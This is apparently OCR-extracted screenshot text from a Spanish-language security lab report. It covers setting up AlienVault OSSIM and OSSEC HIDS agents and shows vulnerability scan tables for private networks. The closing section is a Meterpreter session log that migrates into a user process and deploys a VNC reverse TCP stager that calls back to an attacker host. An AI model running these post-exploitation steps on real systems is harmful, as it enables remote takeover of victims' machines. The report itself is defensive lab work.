91068346096 3c1 6317 3285 ecd 38493076025 3391 20ckbeead 741 75612
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Congratulations!

Data is now coming into AlienVault, AlienVault has generated a few alarms,
You can either view the alarms or explore Allenvault OSSIM

EXPLORE ALIENVAULT
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Configure Data Source Plugins

Select Data Sources

]

1 AlienVault. HlDS oM
[ 1 AlienVault_NIDS
[ 1 WZ003DNS
[ 1airlock
L1
L1

aix-audit
aladdin
1) 3%

aceptar <Cancelar>
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Configure Monitor Plugins

Select Monitor Plugins

[ nenior

acs-noni tor
t apennns-nonitor
[ 1 ossin-nonitor
I ping-nonitor
I 1 teptrack-nonitor
I whois-nonitor
1) 872

aceptar <Cancelar>
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Access the AlienVault ueb interface using the following URL: https://182.168.0.
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Hostname "alienvault’ (192.168.
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Hostname "alienvault’ (192.168.0.209) :: OSSIN 5.0.4 :: Pending changes
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[root@localhost ossec-hids-2.8.2]# sudo yun groupinstall "Development Tools" -y &
> sudo yun install kernel-devel -y
Loaded plugins: fastestnirror
Loading mirror speeds fron cached hostfile
* base: mirror.espoch.edu.ec
* epel: mirror.uta.edu.ec
* extras: mirror.espoch. edu.ec
* rpnforge: mirror.us. leaseweb.net
* updates: mirror.espoch.edu.ec
Setting up Group Process
Checking for new repos for mirrors
Failed to add groups file for repository: epel - comps file is empty/damaged
Package 1:make-3.81-3.¢15.1386 already installed and latest version
Package 1:pkgconfig-9.21-2.el5.1386 already installed and latest version
Package gettext-0.17-1.e15.1386 already installed and latest version
Package autoconf-2.59-12.noarch already installed and latest version
Package python-ldap-2.2.8-2.1.1386 already installed and latest version
Resolving Dependencies
—> Running transaction check
Package automake.noarch 0:1.9.6-3.el5 set to be updated
Package automakeld.noarch 0:1.4p6-13.€15.1 set to be updated
Package automakels.noarch 0:1.5-16.e15.2 set to be updated
Package automakel6.noarch 0:1.6.3-8.e15.1 set to be updated
Package autonakel7.noarch 0:1.7.9-7.e15.2 set to be updated
Package binutils.i386 0:2.17.50,0.6-26.el5 set to be updated
Package bison.i386 0:2.3-2.1 set to be updated
Package byacc.i386 0:1.9-29.2.2 set to be updated
Package cscope. 1386 0:15.5-20.e15 set to be updated
Package ctags. 386 0:5.6-1.1 set to be updated
Package cvs.i386 0:1.11.22-11.el5 8.1 set to be updated
Package dev86.i386 0:0.16.17-2.2 set to be updated
Package diffstat.i386 0:1.41-1.2.3.el5 set to be updated
Package dogtail.noarch 0:0.6.1-4.el5 set to be updated
—> Processing Dependency: pyspi >= 8.6.0 for package: dogtail
—> Processing Dependency: xorg-xll-server-Xvfb for package: dogtail
> Package doxygen. 1386 1:1.4.7-2 set to be updated
> Package elfutils.i386 0:0.137-3,el5 set to be updated
—> Processing Dependency: elfutils-libs-i386 = 0.137-3.el5 for package: elfutils
> Processing Dependency: libdw.s0.1(ELFUTILS_0.127) for package: elfutils

2 2222222222221
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Last login: Sat Aug 1 15:55:10 on console

MacBook-Pro-de-Carlos:~ carlos$ ssh root@192.168.0.15

The authenticity of host '192.168.0.15 (192.168.0.15)' can't be established.
RSA key fingerprint is SHA256:IKgCgpxfGmKWKs281Nky//CmN/Tp@zsfzhxIAXetaAc.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.0.15' (RSA) to the list of known hosts.
root@192.168.0.15's passwort
Last login: Tue Aug 4 07:45:21 2015 from 192.168.0.200

[root@localhost ~]# cd /usr/src

[root@localhost srcl# wget -U ossec http://www.ossec.net/files/ossec-hids-2.8.2.tar.gz
--2015-08-04 08:29:09-- http://www.ossec.net/files/ossec-hids-2.8.2.tar.gz
Resolviendo www.ossec.net... 150.70.191.237

Connecting to www.ossec.net|150.70.191.237|:80... conectado.

Petici6én HTTP enviada, esperando respuesta... 200 OK

Longitud: 1635142 (1,6M) [application/x-gzip]

Saving to: ‘ossec-hids-2.8.2.tar.gz'

100%[=: >] 1.635.142 817K/s in 2,0s
2015-08-04 08:29:11 (817 KB/s) - ‘ossec-hids-2.8.2.tar.gz' saved [1635142/1635142]

[root@localhost srcl# [l
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Longitud: 1635142 (1,6M) [application/x-gzip]
“ossec-hids-2.8.2.tar.gz'

Saving t

100% 1 1.635.142  817K/s  in 2,0s

2015-08-04 08:29:11 (817 KB/s) - "ossec-hids-2.8.2.tar.gz' saved [1635142/1635142]

[root@localhost srcl# uname

Linux

[root@localhost srcl# uname -m

1686

[root@localhost srcl# cat /etc/issue
Cent0S release 5.9 (Final)

Kernel \r on an \m

[root@localhost srcl# tar —xzvf ossec-hids-:
tar: opci6n invalida -- 7

Try “tar —help' or “tar —-usage' for more information.
[root@localhost srcl# tar —xzvf ossec-hids-2.8.2.tar.gz
ossec-hids-2.8.2/

ossec-hids—2.8.2/.gitignore

ossec-hids—2.8.2/. travis.ynl

ossec-hids-2.8.2/BUGS

ossec-hids-2.8.2/CONFIG

0ssec-hids-2.8.2/CONTRIBUTORS

0ssec-hids-2.8.2/INSTALL

0ssec-hids-2.8.2/LICENSE

0ssec-hids-2.8.2/README. nd
ossec-hids-2.8.2/active-response/
ossec-hids-2.8.2/active-response/disable-account.sh
ossec-hids-2.8.2/active-response/firewall-drop. sh
ossec-hids-2.8.2/active-response/firewalls/
ossec-hids-2.8.2/active-response/firewalls/ipfw.sh
0ssec-hids-2.8.2/active-response/firewalls/ipfw_mac. sh
0ssec-hids-2.8.2/active-response/firewalls/pf.sh
ossec-hids-2.8.2/act ive-response/host-deny. sh
ossec-hids-2.8.2/act ive-response/ip-customblock. sh
ossec-hids—2.8.2/active-response/ossec-tweeter. sh
ossec-hids-2.8.2/active-response/restart-ossec. sh
ossec-hids-2.8.2/active-response/route-null.sh

.8.2.tar.gz
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0SSEC HIDS v2.8 Guién de instalacién - http://www.ossec.net

Usted esta por comenzar el proceso de instalacién del 0SSEC HIDS.

Usted debe tener un compilador de C previamente instalado en el sistema.

Si usted tiene alguna pregunta o comentario, por favor envie un correo
electrénico a dcid@ossec.net <mailto:dcid@ossec.net> (daniel.cid@gmail.com
<mailto:daniel.cid@gmail.com> )

- Sistema: Linux localhost.localdomain 2.6.18-348.18.1.el5PAE

- Usuario: root

- servidor: localhost.localdomain

-- Presione ENTER para continuar 6 Ctrl-C para abortar. ——

1- Que tipo de instalacién Usted desea (servidor, agente, local 6 ayuda)? agente
- Usted eligié instalacién de Agente(cliente).
2- Configurando las variables de entorno de la instalacién.
- Eliga donde instalar O0SSEC HIDS [/var/ossec]
- La instalacién se realizard en /var/ossec
3- Configurando el sistema OSSEC HIDS.
3.1- Cudl es la direccion 6 nombre de vuestro del servidor OSSEC HIDS?: 192.168.0.200
- Agregando el IP del servidor 192.168.0.200
3.2- Desea Usted agregar el servidor de integridad del sistema? (s/n) [s]: s
- Ejecutando syscheck (servidor de integridad del sistema).
3.3- Desea Usted agregar el sistema de deteccidén de rootkit? (s/n) [sl]: s
- Ejecutando rootcheck (sistema de deteccién de rootkit).
3.4 - Desea Usted habilitar respuesta activa? (s/n) [sl: s
3.5- Estableciendo la configuracién para analizar los siguientes registros:
—-- /var/log/messages
-- /var/log/secure
—-- /var/log/maillog

—-- /var/log/httpd/error_log (apache log)
—-- /var/log/httpd/access_log (apache log)

- Si Usted deseara monitorear algln otro registro, solo
tendrad que editar el archivo ossec.conf y agregar una
nueva entrada de tipo localfile.

Cualquier otra pregunta de configuracién podra ser
respondida visitandonos en linea en http://www.ossec.net

--- Presione ENTER para continuar ---
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make[1]: se ingresa al directorio '/usr/src/ossec-hids-2.8.2/src/addagent’
cp -pr manage_agents ../../bin

cp —-pr manage_agents ../../bin

make[1]: se sale del directorio /usr/src/ossec-hids-2.8.2/src/addagent’
make[1]: se ingresa al directorio ‘/usr/src/ossec-hids-2.8.2/src/util’

cp -pr syscheck_update clear_stats list_agents syscheck_control rootcheck_control agent_control verify-agent-conf
make[1]: se sale del directorio ‘/usr/src/ossec-hids-2.8.2/src/util’
make[1]: se ingresa al directorio '/usr/src/ossec-hids-2.8.2/src/rootcheck’
make[1]: No se hace nada para “build'.

make[1]: se sale del directorio '/usr/src/ossec-hids-2.8.2/src/rootcheck’
make[1]: se ingresa al directorio ‘/usr/src/ossec-hids-2.8.2/src/syscheckd'
cp -pr ossec-syscheckd ../../bin

make[1]: se sale del directorio ‘/usr/src/ossec-hids-2.8.2/src/syscheckd’
make[1]: se ingresa al directorio ‘/usr/src/ossec-hids-2.8.2/src/monitord’
cp -pr ossec-monitord ../../bin

cp -pr ossec-reportd ../../bin

make[1]: se sale del directorio ‘/usr/src/ossec-hids-2.8.2/src/monitord’
make[1]: se ingresa al directorio '/usr/src/ossec-hids-2.8.2/src/os_auth'
cp -pr ossec-authd ../../bin

cp -pr agent-auth ossec-authd ../../bin

make[1]: se sale del directorio /usr/src/ossec-hids-2.8.2/src/os_auth'
useradd: aviso: el directorio personal ya existe.

No se copia ningln fichero del directorio skel en é1.

- El sistema es Redhat Linux.
- Init script modificado para empezar O0SSEC HIDS durante el arranque.

- Configuracién finalizada correctamente.

- Para comenzar O0SSEC HIDS:
/var/ossec/bin/ossec-control start

- Para detener 0SSEC HIDS:
/var/ossec/bin/ossec-control stop

- La configuracién puede ser leida 6 mofificada en /var/ossec/etc/ossec.conf

Gracias por usar 0SSEC HIDS.

Si tuviera Usted alguna duda, sugerencia 6 haya encontrado
algun desperfecto, contactese con nosotros a contact@ossec.net
6 usando nuestrs lista plblica de correo en ossec-list@ossec.net

Mas informacién puede ser encontrada en http://www.ossec.net

--- Presione ENTER para finalizar. ---
(Tal vez encuentre més informacién a continuacién).

- Usted debe de afiadir este agente en el servidor asi podran
comunicarse el Gno con el 6tro. Una vez culminada la tarea
podra ejecutar la herramienta 'manage_agents' para importar
la autentificacién de llaves extraidas del servidor.

/var/ossec/bin/manage_agents

Mas informacién en:
http://www.ossec.net/en/manual.html#ma

[root@mail ossec-hids-2.8.2]# /var/ossec/manage_agents
bash: /var/ossec/manage_agents: No existe el fichero o el directorio
[root@mail ossec-hids-2.8.2]# /var/ossec/bin/manage_agents

ossec-regex ../../bin
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- Para detener OSSEC HIDS:
/var/ossec/bin/ossec-control stop

- La configuracién puede ser leida 6 mofificada en /var/ossec/etc/ossec.conf
Gracias por usar O0SSEC HIDS.
Si tuviera Usted alguna duda, sugerencia 6 haya encontrado
algun desperfecto, contactese con nosotros a contact@ossec.net
6 usando nuestrs lista publica de correo en ossec-list@ossec.net
Mas informacién puede ser encontrada en http://www.ossec.net
--— Presione ENTER para finalizar. —-——

(Tal vez encuentre més informacién a continuacién).

- Usted debe de afiadir este agente en el servidor asi podran
comunicarse el (no con el 6tro. Una vez culminada la tarea
podra ejecutar la herramienta 'manage_agents' para importar
la autentificacién de llaves extraidas del servidor.

/var/ossec/bin/manage_agents

Mas informacién en:
http://www.ossec.net/en/manual.html#ma

[root@localhost ossec—hids-2.8.2]1# /var/ossec/bin/manage_agents

* OSSEC HIDS v2.8 Agent manager. *
* The following options are available: x
(I)mport key from the server (I).

(Q)uit.
Choose your action: I or Q: i

* Provide the Key generated by the server.
* The best approach is to cut and paste it.
*%x 0BS: Do not include spaces or new lines.

Paste it here (or '\q' to quit): MDAXIFN1cnZpZG9yV2ViIDE5Mi4xNjguMC4xNSBmYTRIMDU5SYTKOY2Y2YWZjMjZmY2zM3NjIkZDkwMDk3N2I3MTBkZDIIMDI3NzImZDIyZTQ10TBjOGE20WY1ZGY3

Agent information:
ID:001
Name:ServidorWeb
IP Address:192.168.0.15

Confirm adding it?(y/n): y
Added.
*x Press ENTER to return to the main menu.

* OSSEC HIDS v2.8 Agent manager. *
* The following options are available: *

(I)mport key from the server (I).
(Q)uit.
Choose your action: I or Q: I




image52.jpeg
ene < in] # O o @ 192.168.0.200 [l =]
ol & AN B X
CUADROS DE MANDO ANALISIS ENTORNO INFORMES CONFIGURACION
INFORMACION GENERAL |  AGENTES | AGENTLESS | EDITARREGLAS | CONFIG |  HIDSCONTROL
HIDSCONTROL || HIDSLOG |  ALERTAS DELOG
HIDS LOG Ver:
2015/08/00 sz oomain) Meximom send bafer sst to: 111sasl
1 /var/ossec, using user: ossec
2 funin_donain) Maximm send buffer set to: ‘33554432,
2 Toat Passed for lashintegrity check bsd'.
3 ZGencicoad: INPO: Test paseed for 'ash inteqrity check lim’
5 agntlessd: INFO: Test passed for 'Sshintegrity check bad's
5 (anix_domain) Maximm send buf JERLPET
: | stacted (pic: 8281)
B  Started (id: 8231 &

Honit

ng director;

Voni toring

Honitoring *7usz/sbint .

Woni toring *7bin"
+fsbint

tonitoring
: (unix_domain) Maximn send buffer set to: '33556432°.
Stare ()

/vaz/lég/messages’ .
*/var/log/autn.log" |
"1var/log/syslog”
*/var/log/rail ot .
*/vaz/1og/dpkg log’ .
+/vax/10g/apache2/error . log"
*/var/1og/apachs2/access . Log"

< £
Test passed tor "ssh incegricy check bed!
g_SCHED BATCH returned:

reet phssed for +ash dntegeity_check Linux'.

agentlessd: TNFO:

Si usted esté buscando para los eventos HIDS por favor vaya a Andlisis - SIEM

© COPYRIGHT 2015 ALIENVAULT, INC. | LEGAL





image53.jpeg
S 2 (4] 4 192.168.0.200

BIENVENIDO ADMIN | ALIENVAULT 192.168.0.200

AN

2 conricuracionEs

SOPORTE  SALIR

=
=

CUADROS DE MANDO ANALISIS ENTORNO INFORMES. CONFIGURACION
INFORMACION GENERAL
(]
ESTADO DESPLIEGUE
MAPAS DE RIESGO
ABRIR INTERCAMBIO DE
ARiEa AGENTES | AGENTLESS | EDITARREGLAS | CONFIG |  HIDSCONTROL
AGENTEDECONTROL |  COMPROBACIONES DELSISTEMA  AGENT.CONF
127
INFORMACION DEL AGENTE
3 + AGENTNAME ¢ AcTvO S IP/CIOR S IPACTUAL USUARIO ACTUAL EsTADO ACCIONES 5
0 o alienvault (server) alienvault 127,004 127004 - Actveriocal
0 oo ServidorWeb www 192.168.015 192.168.0.15 Active
0: ServidorDns ns 192168011 192168011 Active
SHOWING 170 3 OF 3 AGENTS
Agent key information for 2 is: E
MIBTZX. AOTIMTYALIAUMTE 2021 Y ZGVKYJAINDCANDIMM: i IWZBING==

() You must restart HIDS for the changes to take effect




image54.png
[Rorers s vamse R
Einimero total da vulnerabiidades identiicadas en 3 sistema(s)
El nimero total de vulnerabilidades identificadas por sistema
P eqion Norire saigo Sow | A Ves | ede e
ez ea0T 0 - - T T —
T E0TE o B 0 £
0 = - B T =





image55.png
AlienVault: LT Security Vulnerability Report

[Fames s seer]

‘ET nGmero total de vuinerabilidadss identficadas en 19 sistema(s)

[ zaser 205
€1 nimero totalds vulnerabilidades identificadss por sistema

oo Nombe saue ST I I T
oz 1E01 o 515501 - - - e 2
TeEEEeT = - - 7 m B
[T ) - T 7 = B
e e o T T B B3 B
e EEnTE ) - B 7 & [
TeEiEEeT | ewriEs T G B = B
AT e - 0 T w W
a0z | Femwzion T s B £ B
T ) B 7 2 w i
o2 iEa0s | ezt - T B 7 B
o2 ea05 - B - s 0
o2 iea0m | remzieesss - 0 B 7 s
o205 | remzieesst - 0 0 7 s
To216a0% | remizieeoss - 0 B 7 0
ToETE0s o GE18504 D B B B3 B
62168050 | om0z 186050 - - 0 = 0
oz rE0T checpan - - < E) 0
oz rEa0s o 0215508 0 [ 0 B3 =
T e 5 Y = = 0





image56.png
AlienVault: LT Security Vulnerability Report

[Norers o vans [scn s 123 [Farmes e semmesovrs o0t osest

‘ET nGmero total de vuinerabilidadss identificadas en 18 sistama(s)

El nimaro total de vulnerabilidadss idntificadas por sistama

Peqia Nome sais e ) Ves [ ede e
Tzt Fomez et - - - T -
2 | Fosezieszin 7 z T T -
e | osiezieezin - - T T -
e | rosezieszie - - T T -
e | sz 7 - T 0 -
ez | Fosizieezz - - - T -
e | Fosiezieszin - z T 3 -
TR | rosezieszie - - T 0 -
T2z | Fosizieaze - - - B -
[AETE) o gz s - B 7 = -
TiEers | Fosizieers - - - B -
2823 | Fosizieez - z 7 T -
TeriEsz | Fosriezieeas - z - B -
ez | rosiizieezad - z 7 = -
Tz iERze oGz 2E < 0 v w -
R ) z 7 T -
2T o ez et - = = -
Tz | Feeisr it = 7 0 0 —





image57.png
LT Security Vulnerability Report

Total number of vuinerabilties identified on 21 system(s)
[ semiounn
Ty
[ recsom 1
0 o 20
Total number of vuilnerabilfies identified per system
FoatE Feaars oo | Wgn | Wed | Tow i

[ o 192.18851 - - - T -
TG e a e | FesieziEss i T B T @ -
G2 683183 | esviozieasies T B T E -
oAz | resierieas - B T @ -
TGz 6832 | omviozieaszs T B ] T -
oz a3% | osierieeat - B T I -
ERCET - - - B -
oz st | o - B T T -
oz st | o T B T = -
oz sate | o T B T = -
TN - B T @ -
R - B T = -
R - B T B -
ERCETI - B T [ -
A - B T I -
oz esaE | o - B T @ -
R T B T 0 -
R - B T @ -
R - - T e -
R B - - @ -
2 eeser | o - z T o -





image58.png
ATIEN VALY ossth.

AlienVault: 1.T Security Vulnerability Report

Nombre cel trabajo:[scan redes 4 567

[Tiempo ce escaneo

20150804 172547

et [Default - Non destructive Full and Fast scan

Generado:

20150921 100944

El nimero total de vulnerabilidades identificadas en 112 sistema(s)

El numero total de vulnerabi

Serious: 13
mign: 118
Medium: 74

Low: 1224

lentificadas por sistema

P equipo Nombre equipo Serias At Med Bajo info
192.168.4.1 Host-192-168-4-1 - - - 4 -
192.168.4.10 Host-192-168-4-10 - - - 2 -
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192168575 Host 192168575 - 2 1 8
192168576 Host 192168576 - 2 1 0
92.168.5.77 Host 192168577 - 2 1 s
192.168.5.79 Host- 192168579 - 2 1 o
192,168,590 Host-192-168-5-90 - 2 1 5
192.168.594 Host 192168594 - - A 20
192.168.6.1 Host-192-168-6-1 - - - [
192.168.6.10 Host-192-168-6-10 1 2 1 a
192.168.6.101 Host-192-166-6-101 2 - - a
192.168.6.102 Host-192-168-6-102 - - 1 5
192.168.6.103 Host-192-166-6-103 - 2 1 5
192.168.6.122 Host-192-166.6-122 - 2 1 3
192.168.6.123 Host-192-166-6-123 - - 1 3
192.168.6.124 Host-192-166.6-124 - - - "
192.168.6.125 Host-192-166-6-125 1 2 1 5
192.168.6.127 Host-192-168-6-127 1 2 1 0
192.168.6.129 Host-192-168-6-129 - - - 2
192.168.6.134 Host-192-166-6-134 1 2 1 7
192.1686.15 Host192-168-6-15 - 1 - a
92.168.6.17 Host192-168-6-17 - 2 1 s
192.168.6.177 Host-192-168-6-177 - - - 2
192.168.6.18 Host-192-168-6-18 - 3 1 1
1921686216 Host-192-168-6-216 - 2 1 21
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192168625 Host-192-168-6-25 - @ 1 27
192,168,632 Host192-168-6-32 1 2 1 3
192,168,633 Host192-168-6-33 - - - 2
192.168.6.4 Host-192-168-64 - 1 1 2
192.168.6.49 Host-192-168-6-49 - 1 20
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ALIEN VAULT OSSIM

AlienVault: I.T Security Vulnerability Report

Nombre del trabajo: [sacn redes 89 10

Tiempo de escaneo]2015-08-18 12:11:40

Perfl: Default - Non destructive Full and Fast scan

Generado:

2015-00-2110:09:36

El nimero total de vulneral

Serious: 14
High: 74
45

Zow: 786

lades identificadas en 59 sistema(s)

idades identificadas por sistema

1P equipo Nombre equipo Serias Alto Med Bajo Info
192.168.10.1 Host-192-168-10-1 - ~ - 14 -
192.168.10.10 Host-192-168-10-10 - ~ - 3 -
192.168.10.107 Host-192-168-10-107 - 2 1 1 -
192.168.10.123 Host-192-168-10-123 1 2 1 19 -
192.168.10.158 Host-192-168-10-158 - - 16 -
192.168.10.160 Host-192-168-10-160 1 2 1 12 -
192.168.10.161 Host-192-168-10-161 1 2 1 12 -
192.168.10.191 Host-192-168-10-191 1 2 1 14 -
192.168.10.192 Host-192-168-10-192 1 2 1 19 -
192.168.10.222 Host-192-168-10-222 - 2 1 9 -
192.168.10.235 Host-192-168-10-235 - 2 1 10 -
192.168.10.27 Host-192-168-10-27 - ~ - 4 -
192.168.10.42 Host-192-168-10-42 2 1 14 -
192.168.1044 Host-192-168-10-44 2 ~ - 14 -
192.168.10.48 Host-192-168-10-48 - 2 1 15 -
192.168.1051 Host-192-168-10-51 - ~ 1 14 -
192.168.10.55 Host-192-168-10-55 1 2 1 1 -
192.168.10.56 Host-192-168-10-56 B 2 1 16 -
192.168.10.60 Host-192-168-10-60 1 2 1 19 -
192.168.1061 Host-192-168-10-61 1 2 1 14 -
192.168.107 Host-192-168-10-7 - ~ - 14 -
192.168.10.72 Host-192-168-10-72 - 2 1 14 -
192.168.10.8 Host-192-168-10-8 B ~ - 14 -
192.168.8.1 Host-192-168-8-1 - ~ - 14 -
192.168.8.102 Host-192-168-8-102 1 2 1 13 -
192.168.8.108 Host-192-168-8-108 - 2 1 10 -
192.168.8.109 Host-192-168-8-109 - 2 1 1 -
192.168.8.110 Host-192-168-8-110 B 2 1 10 -
192.168.8.122 Host-192-168-8-122 1 - 1 16 -
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192.168.8.123. Host-192-168-8-123 1 19
192.168.8.124 Host-192-168-8-124 3 1 14
192.168.8.15 Host-192-168-8-15 ~ — 3
192.168.8.199 Host-192-168-8-199 1 3 18
192.168.8.23 desconocido - - 3
192.168.8.232 Host-192-168-8-232 - 1 7
192.168.8.233 Host-192-168-8-233 2 1 13
192.168.8.236. Host-192-168-8-236 ~ — 2
192.168.8.32 Host-192-168-8-32 ~ — 3
192.168.8.38 Host-192-168-8-38. - - 2
192.168.8.40 Host-192-168-8-40 - ~ 2
192.168.8.44 Host-192-168-8-44. 2 1 15
192.168.8.49 Host-192-168-8-49 2 1 13
192.168.8.52 Host-192-168-8-52 2 1 21
192.168.8.56 Host-192-168-8-56. 2 1 10
192.168.8.57 Host-192-168-8-57 2 1 17
192.168.8.59 Host-192-168-8-59 2 1 10
192.168.8.60 Host-192-168-8-60 2 1 20
192.168.8.61 Host-192-168-8-61 2 1 10
192.168.8.67 Host-192-168-8-67 2 1 23
192.168.8.78 Host-192-168-8-78. 2 1 22

192.168.8.8 Host-192-168-8-8 2 1 18
192.168.8.88 Host-192-168-8-88. 2 1 22
192.168.8.89 Host-192-168-8-89 2 1 10

192.168.9.1 Host-192-168-9-1 - - 14
192.168.9.11 Host-192-168-9-11 - 1 21
192.168.9.188. Host-192-168-9-188 ~ 1 13
192.168.9.19 Host-192-168-6-19 2 1 28
192.168.9.191 Host-192-168-9-191 ~ 1 13
192.168.9.31 Host-192-168-9-31 - - 4

192.168.8.1

Host-192-168-8-1
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[<C> Copyright 1985-2881 Microsoft Corp.
Docunents and Settings\carlos>ipconfig

onf iguracién IP de Windous

pdaptador Ethernet Conexién de drea local

Sufijo de conexifn especifica DNS
Direcoidn 1B x -+ o o ©f192.168.2.115
Miscara de subred Doill:ashlassiase
Puerta de enlace predeterninada ~ : 192.168.2.1

daptador Ethernet Conexién de red Blustooth
Estado de los medios. . . .: medios desconectados

:\Documents and Settings\carlos>

© Puede que su equipo esté en i
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976  svchost.exe x86 NT AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost .exe]
Nessus-6.4 1644 ossec-agent .exe NT AUTHORITY\SYSTEM C:\Archivos de programa\ossec-al
debian6_amd€gent \ossec -agent .exe

0:6c:29:51 :af:39
£:192.168.2.255 Mask:255.255.255.0
51:af39/64 Scope:Link

1116 svchost.exe x86 0 NT AUTHORITY\SYSTEM WINDOWS\System32\svchost .exe [T "MTU:1500 Metric:l
1164 svchost .exe X860 NT AUTHORITV\Servicio de red C:\WINDOWS\system32\svchost.exefl HTUS150° Hetfieil -
1208 svchost.exe x86 0 NT AUTHORITY\SERVICIO LOCAL WINDOWS\system32\svchost .exe| 946 Gl ““”Se ’a’“‘*ge
1284 alg.exe x86 O NT AUTHORITY\SERVICIO LOCAL WINDOWS\System32\alg.exe [ESiCIspa s 8hcarpiar:
e1345 rundl132.exe x86 0 PRIVADA-73C3A6A\carlos WINDOWS\system32\ rundl132. ex| bytes:8318 (8.1 KiB)
1372 vntoolsd.exe x86 0 PRIVADA-73C3A6A\carlos C:\Archivos de programa\VMware\|
VMvare Tools\vatoolsd.exe
1384 ctfmon.exe x86 0 PRIVADA-73C3A6A\carlos WINDOWS\systen32\ct fmon .exe
1576 explorer.exe x86 0 PRIVADA-73C3A6A\carlos WINDOWS\Explorer .EXE 6 Motric:1
1672 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM WINDOWS\system32\spoolsv.exe ld:0 over -n :0 frame:0
1840 TPAutoConnect.exe x86 6 PRIVADA-73C3A6A\carlos Archivos de prograna\Viware\l ] jovarnx 510 T
VMware Tools\TPAutoConnect .exe EaoyRrTns 0 carriar:
1864 svchost.exe x86 0 NT_AUTHORITY\SERVICIO LOCAL WINDOWS\systen32\svchost .exe| :
1956 cnd.exe x86 6 PRIVADA-73C3A6A\carlos WINDOWS\system32\cnd..exe [res:12004(1.1 kib)
1992 svchost.exe x86 0 NT AUTHORITY\SYSTEM WINDOWS\system32\svchost .exe

| 2028 VGAuthService.exe x86 @ NT AUTHORITY\SYSTEM Archivos de programa\VMware\|

VMware Tools\VMware VGAuth\VGAuthService.exe

neterpreter > migrate 1576
[*] Migrating from 1116 to 1576...
[*] Migration completed successfully.
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.2.114 LPORT=4545
[*] Rugning payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\DOCUME~1\carlos\CONFIG-1\Temp\qzHPknnsz.exe (must be deleted
)
[*] Executing the VNC agent with endpoint 192.168.2.114:4545. ..
neterpreter > Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions.
No authentication needed
Authentication successful
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